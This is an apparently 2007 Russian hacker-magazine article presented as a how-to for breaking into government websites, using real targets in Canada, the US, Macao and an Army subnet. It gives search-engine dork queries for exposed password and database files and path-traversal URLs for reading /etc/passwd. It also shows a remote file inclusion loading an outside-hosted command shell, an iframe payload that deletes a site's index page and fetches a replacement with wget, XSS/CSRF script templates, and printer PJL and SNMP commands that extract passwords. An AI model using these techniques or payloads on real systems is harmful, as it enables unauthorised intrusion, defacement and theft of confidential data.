Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #100, АПРЕЛЬ 2007 г.

Государственная безопасность

Андрей «Skvoznoy» Комаров

Хакер, номер #100, стр. 082

(komarov@itdefence.ru)

Правильный хакинг GOV-ресурсов

Для обеспечения безопасности объектов государства применяются наиболее нестандартные и современные методы защиты. Это касается и интернета, так как достаточно большое количество ресурсов так или иначе относится к ведомственной структуре. Однако некоторым хакерам все-таки удается через них получать доступ к сетевой инфраструктуре, обходя применяемую защиту, что позволяет украсть важные данные, если они там имеются. Хочешь узнать как? Тогда читай дальше!

Кто стоит за всем этим

Безусловно, возлагать такое ответственное дело, как безопасность, на плечи прыщавого админа непозволительно, ведь в таких сферах крутятся важные документы и сведения. Здесь требуются специалисты, и для подготовки требуемых кадров были созданы специальные учебные заведения. У нас в стране этим занимается Академия ФСБ, в которой активно развивается направление информационной безопасности и специальной связи, за бортом – всевозможные заведения, относящиеся к Агенству национальной безопасности (NSA) и обороны (DOD). NSA из названных организаций более открыто к обычным массам, так как, кроме своей традиционной деятельности, разрабатывает всевозможные IT-документации и адвайзори, посвященные настройке *nix-систем, безопасности систем Windows-платформы, и многое другое. Все это, конечно, здорово, но и здесь порой находится достаточно огрехов, еще раз доказывающих компетентность зарубежных деятелей :).

К вам ревизор!

Для начала организации независимой проверки подобного рода ресурсов было решено воспользоваться методом Google Hacking, а затем провести активный аудит нескольких из них. Таким образом можно максимально сократить время и очень быстро находить традиционные дефекты в скриптовом ПО. Весь процесс ограничивался следующими запросами для нахождения требуемых ресурсов:

Поиск ресурсов:

site:.gov filetype:php inurl:"=*.html"

Поиск с раскрытием информации о базе данных:

site:.gov intitle:Index of .mysql_history

site:.gov filetype:sql

Сделанные выводы таковы: файлы .bash_history и .mysql_history важны как для хакера, так и для админа. Взломщик может удаленно выловить конфиденциальные команды через бажный скрипт (нередко права на файл позволяют ему это сделать) и найти среди них пароли (это могут быть аргументы вызова htpasswd, возможен ввод пароля после ошибочных команд su и ssh). Второй файл будет полезен, если хакер желает узнать пароль на определенную учетную запись. Файл необходимо проанализировать на наличие функции password() и строки «indentifed by». Админ может засечь неприметного взломщика по наличию посторонних команд в .bash(mysql)_history.

Поиск с раскрытием пользовательской информации:

site:.gov intitle:Index.of etc shadow

Поиск с возможностью чтения конфиденциальных сведений:

inurl:gov filetype:xls "restricted"

Не стоит мнить себя крутым хакером, считая полученные результаты своим большим достижением, так как найденное представляет собой, скорее, последствия невнимательности админа, дефектов его логики: отсутствия практических знаний о правах доступа (chmods), методах локального хранения БД после бекапа, выполнении авторизированного доступа к значимым документам, расположенным на хосте. Реальной уязвимостью в хакерской этике называются вещи, связанные с твоим собственным исследованием и любопытством. Заметь, последнее занимает особое место в Манифесте Хакера.

Наша миссия

Перед нами стоит немного нетрадиционная задача. Кроме обычного захвата сайтов, мы должны добыть все возможные сведения, например, о сотрудниках, о сфере деятельности и о возможной топологии сетевой инфраструктуры.

Пути развития решения

1) сетевой шпионаж за сотрудниками и применение СИ;

2) получение удаленного доступа к просторам сети ресурса (web-сервер находится в одном сетевом окружении).

Ресурс: gov.bc.ca

Информация: провинция Британской Колумбии

Первое осуществимо множеством путей. К примеру, файлы логинов (/etc/passwd) порой содержат данные с ФИО пользователей, на сервере некорректно расставлены CHMOD, что позволяет считывать архивы электронной переписки. С помощью Гугла находим баг на дочернем ресурсе.

www.bcpl.gov.bc.ca/qc/showstatic.php?page=http://http://../../../etc/passwd

После условной идентификации пользователей системы становится актуальным узнать их персональные данные, например электронную почту. Дело в том, что из всей этой информации можно выстроить логические цепи и определить деятельность сотрудника. В моем случае я воспользовался анализом зон, запрещенных от индексирования поисковыми ботами и crawler'ами. Для этого достаточно изучить файл robots.txt:

User-Agent: *

Disallow: /VRD/*.html

Disallow: /VRD/*/*.html

Disallow: /VRD/*/*/*.html

Disallow: /VRD/basic_show.php

Disallow: /mail/

Disallow: /VRD/dewey/query.html

Disallow: /VRD/subject/query.html

Disallow: /ell/search.php

Disallow: /BCStats/

User-Agent: msnbot

Disallow: /

После обращения к директории /BCStats/ стало ясно, что доступ туда могут получать только заведомо идентифицированные юзеры (привязка к IP-адресу), что вполне адекватно для систем такого рода, но крайне неактуально при раскрытии персональной информации. Задача сводится к определению сетевого адреса доверенного лица и его подмене путем использования метода изменения X-Forwarder-For в заголовке HTTP-запроса, что поможет нам успешно авторизироваться и получить доступ к информации. Добиться последнего можно с помощью прозрачного прокси, либо конструктора HTTP-запросов, вроде Oddysee. Охота за IP завершилась просмотром лимитированной директории /mail/, где бэкапилась вся переписка с полноценными данными из MIME-фильтров, показывающими IP отправителя. Итог нашего взлома – получение конфиденциальных данных каталога /BCStats.

Ресурс: ed.gov

Информация: Министерство образования США

Воспользовавшись Гугловым поиском по конфиденциальным xml-файлам, натыкаемся на следующий баг:

www.ed.gov/finaid?file_path=data/table47b.xls/../../../etc/passwd

Беда подобной конструкции в том, что, когда файловые системы встречают спецификатор пути к родительскому каталогу, они не проверяют наличие всех каталогов. Именно из-за этого удается обойти проверку и считать passwd. Итог взлома – локальное чтение файлов. Больше на этом домене ничего отрыть не удалось :(.

Ресурс: sport.gov.mo

Информация: Министерство спорта Макао

Сейчас мы рассмотрим способ, анонимизирующий нашу деятельность. RFI-атаки (Remote File Inclusion) можно совмещать с поиском уже готового залитого шелла (запрос «inurl:cmd.gif (php,txt)») – самое простое, что приходит в голову. Таким образом, использовав простой инклуд, мы вторглись на сервер.

www.sport.gov.mo/2001/en/swimming/result.php?page=http://itdefence.ru/skvoz/cmd.php

В скрипт заложен простейший интерпретатор. При выполнении команд, разделенных «?» от указателя формата, представляется свобода действий, ограниченная правами nobody ;).

Техники XSRF и CSRF

Следующая идея состоит в создании комбинации для изменения стартовой страницы ресурса Монако, причем при полной инициации действия. Специально вызвав ошибку в обработке кавычки, я узнал полные пути директорий (/export/home/webadmin/public_html/sport/2001/en/swimming).

Следует помнить, что никто не мешает отправить злобный запрос в связке с XSS своему другу-америкосу, чтобы он сделал пакость самостоятельно. Для большей беспаливности есть несколько методов, один из которых состоит в поиске XSS, маскировке обращения к нему на каком-либо ресурсе, либо его имитации, ну и, собственно, его выполнении. Подобные техники носят название Cross Site Reference Forgery (XSRF, CSRF).

Варианты использования:

1) вставка вместе с IFRAME на любой сайт, при открытии которого исполнится команда:

<iframe src=http://gov/include=cmd.php?cd /export/home/webadmin/public_html/sport/ & rm index.php & wget http://x/index.php></iframe>

2) простой сценарий;

<script>

var foo = new Image();

foo.src = "http://host/?command";

</script>

3) сценарий посложнее

<script>

var post_data = 'name=value';

var xmlhttp=new XMLHttpRequest();

xmlhttp.open("POST", 'http://url/path/file.ext', true);

xmlhttp.onreadystatechange = function () {

if (xmlhttp.readyState == 4)

{

alert(xmlhttp.responseText);

}

};

xmlhttp.send(post_data);

</script>

Между прочим, такие хакерские трюки активно юзают скриптовые вирусописатели. Samy – XSS-червь, заразивший кучу юзеров сервиса Myspace, использовал именно этот прием.

Кроме этого, для пущей беспалевности существуют методы хайдинга кода в обычных вещах, к примеру в flash'ках, PDF-документах и многом другом. Подобные методы впервые осветила креативная команда GNUCITIZEN (gnucitizen.org/blog/backdooring-flash-objects-receipt), продемонстрировав пригодность компилятора MTASC Action Script (mtasc.org) и набора тулз для редактирования SWTools (swftools.org).

Через принтер в преисподнюю

Чтобы отойти от темы всяческих инъекций, поговорим об альтернативном, но абсолютно антонимичном методе работы по проникновению во внутренности сетей - о компрометации сетевого оборудования. Здесь весомы атаки класса Drive by farming и всевозможные уязвимости ПО. Я рассмотрю подобные штуки на аппаратных принт-серверах. Благодаря таким решениям управлять печатью можно из любого места (в том числе и из интернета). Во-первых, сетевой девайс может объединять несколько принтеров и спокойно рулить печатью на них, во-вторых, при недостатке средств на несколько мест для печати, достаточно обзавестись таким, чтобы сотрудники в случае надобности обращались к нему. При таком варианте печати используется общий принтер в сети Microsoft, что позволяет юзерам раздавать свои ресурсы для общего пользования. Это не убавляет проблем с безопасностью :). Как ни странно, такие вещи очень часто попадают в то самое рабочее сетевое окружение, которое можно легко опознать извне. Порой это можно сделать простым исследованием:

*чтением printers.conf, /etc/cups/cupsd.conf.backup на взломанном сайте;

*сканом HTTP GET-запросами;

*обнаружением устройств, управляемых по SNMP;

*поиском через Гугл принт-сервисов (например, ISPrinter).

Основные возможности после захвата принтера очень заманчивы:

*изучение локальных процессов;

*возможность перехвата печатаемого (особенно актуально, если через эти самые машинки гоняется конфиденциальная информация, либо документы);

*просмотр факсимильной корреспонденции, которая была распечатана, и телефонных адресатов;

*нарушение стабильной работы сети;

*смена надписи на LCD-дисплее принтера :);

*локальное поднятие привилегий на используемой принтером машине посредством захвата встроенного web-сервера;

*редактирование ACL-политик.

Попробуем обнаружить сервисы следующими нехитрыми запросами.

inurl:hp/device/this.LCDispatcher

inurl:":631/printers" -php -demo

intitle:"web image monitor" "/web/user/en/websys/webArch/mainFrame.cgi"

inurl:"/en/sts_index.cgi"

Ресурс: Army Information Systems Center

Информация: подсеть военного ведомства

Этот ресурс мне удалось выудить простым Гугл-запросом на наличие web-сервиса. В ответ я получил ссылку вида «6.1.10.56/hp/jetdirect».

На первый взгляд, ничего привлекательного в линке нет, но, поинтересовавшись информацией по адресации диапазонов адресов, можно понять, что айпишник принадлежит охраняемой подсети (6.* - Army Information Systems Center).

Определив порт, на котором висит чудо, можно творить следующие вещи:

1) изменять текст LCD-дисплея:

telnet 192.169.1.2 9100

@PJL RDYMSG DISPLAY="Some Text"

^]quit

2) взламывать парольное подключение по SNMP с помощью smtpget (net-snmp.sourceforge.net/docs/man/snmpget.html), где в HEX'е зашифрован пароль на подключение:

snmpget -v 1 -c public 192.168.2.46 .1.3.6.1.4.1.11.2.3.9.1.1.13.0

SNMPv2-SMI::enterprises.11.2.3.9.1.1.13.0 = Hex-STRING: 50 41 53 53 57 4F 52 44 3D 31 30 38 3B 00 00 00

3) просматривать все локальные процессы unixlike-командой ps.

Для упрощения подобных задач можно воспользоваться утилитой PFT (phenoelit.de/hp/download.html), либо PFT - PJL file transfer (phenoelit.de), которые крайне актуальны для работы с протоколом принтера.

Чем бы дитя не тешилось…

На этом мне придется закончить свою «эпопею» взломов государства. Думаю, ты уяснил, что геморроя с подобными доменами – очень много. Приходится надеяться лишь на помощь поисковика, сканеров и набора софта, который еще никогда не подводил :).

WAING

За государственной безопасностью следят вполне компетентные люди, поэтому я тебе очень не советую рисковать и воспроизводить описанные мной действия. Это может плохо кончиться. За применение материала в незаконных целях автор и редакция ответственности не несут.

INFO

Статистика брешей в зоне .gov:

*наличие общедоступных неавторизированных директорий (5%);

*размещение ресурсов на shared-хостингах (15%);

*публичный бэкап переписки (30%);

*общедоступные админ-панели (10%);

*некорректное управление БД (6%);

*использование заведомо уязвимого ПО (40%).

DVD

Весь описанный в статье софт ты найдешь на диске к журналу.

Содержание
ttfb: 27.311086654663 ms